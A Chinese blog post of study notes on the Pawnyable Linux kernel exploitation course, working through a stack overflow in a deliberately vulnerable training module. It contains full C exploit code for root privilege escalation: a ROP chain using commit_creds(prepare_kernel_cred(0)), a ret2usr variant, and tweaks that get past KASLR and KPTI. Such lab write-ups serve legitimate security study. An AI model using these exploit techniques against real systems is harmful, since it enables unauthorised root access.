Pawnable笔记(一)之 Kernel ROP

Static Lv2

🐾What’s Pawnyable?🐾

Pawnyableは、中〜上級者がpwn(Binary Exploitation)を勉強するための資料です。

站点地址:Linux Kernel Exploitation | PAWNYABLE!

前言

本系列文章记录笔者在跟随Pawnable学习Kernel Pwn过程中的一些问题与学到的东西。本文是该系列的第一篇文章。

确保文件系统正常启动

下载LK-01,若重打包后出现报错,使用sudo打包运行即可。

使具有 root 权限

init脚本中加入exec setsid /bin/cttyhack setuidgid 0 /bin/sh(需要在最后一行启动shell之前写入,这种方法似乎不会执行/etc/init.d/rcS脚本,建议采取下一种方法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/sh

# devtmpfs does not get automounted for initramfs
/bin/mount -t devtmpfs devtmpfs /dev

# use the /dev/console device node from devtmpfs if possible to not
# confuse glibc's ttyname_r().
# This may fail (E.G. booted with console=), and errors from exec will
# terminate the shell, so use a subshell for the test
if (exec 0</dev/console) 2>/dev/null; then
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
fi

exec setsid /bin/cttyhack setuidgid 0 /bin/sh
exec /sbin/init "$@"

也可以修改/etc/init.d/S99pawnyable,该脚本由/etc/init.d/rcS调用,而/etc/init.d/rcS在系统启动时由/sbin/init程序启动

修改/etc/init.d/S99pawnyablesetsid cttyhack setuidgid 1337 sh的1337改为0即可

比较commit_creds函数的rdi

  • root用户

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0xffff88800328e500
0xffff88800328e500: 0x0000000000000001 0x0000000000000000
0xffff88800328e510: 0x0000000000000000 0x0000000000000000
0xffff88800328e520: 0x0000000000000000 0x0000000000000000
0xffff88800328e530: 0x000001ffffffffff 0x000001ffffffffff
0xffff88800328e540: 0x000001ffffffffff 0x0000000000000000
0xffff88800328e550: 0xffffffff81e32b00 0xffffffff81e32b80
0xffff88800328e560: 0xffff888002d20510 0x0000000000000000
0xffff88800328e570: 0x0000000000000000 0x0000000000000000
  • 普通用户(uid=1337

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0xffff888003175b80
0xffff888003175b80: 0x0000053900000001 0x0000000000000539
0xffff888003175b90: 0x0000000000000539 0x0000000000000539
0xffff888003175ba0: 0x0000000000000539 0x0000000000000000
0xffff888003175bb0: 0x000001ffffffffff 0x000001ffffffffff
0xffff888003175bc0: 0x000001ffffffffff 0x0000000000000000
0xffff888003175bd0: 0xffff888003175500 0xffffffff81e32b80
0xffff888003175be0: 0xffff888002d20510 0x0000000000000000
0xffff888003175bf0: 0x0000000000000000 0x0000000000000000

rdi为传入给commit_creds函数的cred结构体地址,cred结构体如下(kernel version: v5.11)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
...

} __randomize_layout;

结构体中不同的部分实际上就是用户的id不同

安全机制

  • 查看run.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
-no-reboot \
-cpu qemu64 \
-smp 1 \
-monitor /dev/null \
-initrd rootfs_updated.cpio \
-net nic,model=virtio \
-net user

​ 未开启kpti,且nokaslr,smap和smep也未开启

  • 修改run.sh中的-cpu qemu64-cpu qemu,+smep,+smap即可开启

  • 执行head /proc/kallsyms,得到如下地址,则基地址为ffffffff81000000(此时KADR未开启)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    / # head /proc/kallsyms 
    ffffffff81000000 T startup_64
    ffffffff81000000 T _stext
    ffffffff81000000 T _text
    ffffffff81000040 T secondary_startup_64
    ffffffff81000045 T secondary_startup_64_no_verify
    ffffffff81000110 t verify_cpu
    ffffffff81000210 T sev_verify_cbit
    ffffffff81000220 T start_cpu0
    ffffffff81000230 T __startup_64
    ffffffff810005e0 T startup_64_setup_env

模块漏洞与触发

  • module_read中存在越界读取
  • module_write中存在越界写入,栈溢出
  • module_close中存在UAF

栈溢出漏洞的简单触发POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>

int main()
{
int fd = open("/dev/holstein", 2);
if(fd == -1)
{
printf("模块打开失败!\n");
return 0;
}

char buf[0x500];
for(int i = 0; i < 0x500; i++)
{
buf[i] = 'A';
}

write(fd, buf, 0x500);
return 0;
}

运行后产生kernel panic

1
2
3
4
5
6
7
8
9
10
11
12
13
RIP: 0010:0x4141414141414141
Code: Unable to access opcode bytes at RIP 0x4141414141414117.
RSP: 0018:ffffc9000046beb8 EFLAGS: 00000202
RAX: 0000000000000500 RBX: ffff888003169100 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc9000046bea8 RDI: ffff888003299400
RBP: 4141414141414141 R08: 4141414141414141 R09: 4141414141414141
R10: 4141414141414141 R11: 4141414141414141 R12: 0000000000000500
R13: 0000000000000000 R14: 00007ffca658d210 R15: ffffc9000046bef8
FS: 0000000000405678(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000000403000 CR3: 000000000327e000 CR4: 00000000000006f0
Kernel panic - not syncing: Fatal exception
Kernel Offset: disabled

stack-overflow

常规rop

commit_creds(prepare_kernel_cred(NULL))提权,no kaslr no kpti no smep no smap,事实上,如果加入smep/smap保护,该exp仍能执行,因为该过程中并未在内核态下执行和访问用户态数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

//0xffffffff8160c96b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
#define swapgs 0xffffffff8160bf7e
#define iretq 0xffffffff810202af
#define mov_rdi_rax_ret 0xffffffff8160c96b
#define pop_rcx_ret 0xffffffff812ea083
#define prepare_kernel_cred 0xffffffff8106e240
#define commit_creds 0xffffffff8106e390
#define pop_rdi 0xffffffff8127bbdc

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}

int main()
{
saveStatus();
int fd = open("/dev/holstein", 2);
if(fd == -1)
{
printf("Module holstein open error!\n");
return 0;
}

int i;
long rop_chain[0x100];
for(i = 0; i < 0x81; i++)
rop_chain[i] = 0;
rop_chain[i++] = pop_rdi;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = pop_rcx_ret;
rop_chain[i++] = 0;
rop_chain[i++] = mov_rdi_rax_ret;
rop_chain[i++] = commit_creds;
rop_chain[i++] = swapgs;
rop_chain[i++] = iretq;
rop_chain[i++] = (long)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x500);
return 0;
}

ret2usr

只是把rop中的commit_creds(prepare_kernel_cred(NULL))放到了用户代码中,在加入smep/smap保护后,产生错误。但事实上smap/smep保护是可以绕过的,因为该保护由CR4寄存器控制

25259

如图,只要我们能修改CR4寄存器的第20,21位为0则可以关闭该保护(在该挑战绕过过程中,我发现似乎没有可用的gadget来对cr4寄存器进行修改,因此只好作罢

但如果加入了KPTI保护,那么ret2usr便无法成功,对于开启了 KPTI 的内核而言,内核页表的用户地址空间无执行权限,因此当内核尝试执行用户空间代码时,由于对应页顶级表项没有设置可执行位,因此会直接 panic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

//0xffffffff8160c96b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
#define swapgs 0xffffffff8160bf7e
#define iretq 0xffffffff810202af
#define mov_rdi_rax_ret 0xffffffff8160c96b
#define pop_rcx_ret 0xffffffff812ea083
#define prepare_kernel_cred 0xffffffff8106e240
#define commit_creds 0xffffffff8106e390
#define pop_rdi 0xffffffff8127bbdc

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}

/* for ret2usr attacker */
void get_root_privilige()
{
void *(*prepare_kernel_cred_ptr)(void *) =
(void *(*)(void*)) prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = (int (*)(void*)) commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

int main()
{
saveStatus();
int fd = open("/dev/holstein", 2);
if(fd == -1)
{
printf("Module holstein open error!\n");
return 0;
}

int i;
long rop_chain[0x100];
for(i = 0; i < 0x81; i++)
rop_chain[i] = 0;
rop_chain[i++] = (long)get_root_privilige;
rop_chain[i++] = swapgs;
rop_chain[i++] = iretq;
rop_chain[i++] = (long)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x500);
return 0;
}

仅启用KASLR,不使用读取操作来进行ret2usr提权:

当禁用 SMAP、SMEP 和 KPTI 并启用 KASLR 时,仅使用 Stack Overflow 漏洞提升权限(即不使用读取)。
提示:使用 ret2usr 执行 shellcode 时检查寄存器值。

略微修改exp为如下即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
...
long root_shell = (long)get_root_shell;
...
void shellcode()
{
__asm__("push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push root_shell;"
"swapgs;"
"iretq;");

}
...
...
//if with KASLR, use these
rop_chain[i++] = (long)get_root_privilige;
rop_chain[i++] = (long)shellcode;
...

kernel rop with KPTI but without KASLR

在开启了kpti之后,再次使用之前的exp就会得到Segmentation fault,只需细微修改exp即可,如

1
2
3
4
5
6
7
8
//if with kpti, then use these
rop_chain[i++] = swapgs_restore_regs_and_return_to_usermode+0x16;
rop_chain[i++] = 0;
rop_chain[i++] = 0;

//if without kpti, then use these
//rop_chain[i++] = swapgs;
//rop_chain[i++] = iretq;

add KASLR

在添加了KASLR后,程序在每次启动时都会有一个随机的偏移,但是由于存在越界读取,因此可以读取出内核栈空间的敏感内容,计算得到偏移,如下

1
2
3
4
long buf[0x100];
read(fd, buf, 0x500);
long offset = buf[0x81] - ret_addr_no_aslr;
printf("KASLR offset is : %p\n", offset);

在调试KASLR的过程中,出现了如下问题:未开启KASLR时的对应gadget和开启KASLR时的gadget会有可能不一样,引起该问题的主要原因是ROPgadget,ropper等工具在查找gadget时是按照机器码查找的,当文件中出现绝对地址时,而此gadget的机器码正好包含在绝对地址中。

如:绝对地址0xFFFFFFFF81C35900,而pop rcx; ret对应的机器码是59 C3,正好是这个绝对地址中的部分值,因此在没有KASLR的情况下,它确实是一个有效的gadget。然而,一旦KASLR生效,它同时也将内核中这些汇编指令中的绝对地址也做了更新,否则内核在执行类似上面这条mov指令时就可能会出错,因为地址已经被随机化了。

  • Title: Pawnable笔记(一)之 Kernel ROP
  • Author: Static
  • Created at : 2024-03-10 16:39:31
  • Updated at : 2024-03-10 16:39:02
  • Link: https://staticccccccc.github.io/2024/03/10/kernel pwn/Pawnyable(1) - Kernel ROP/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments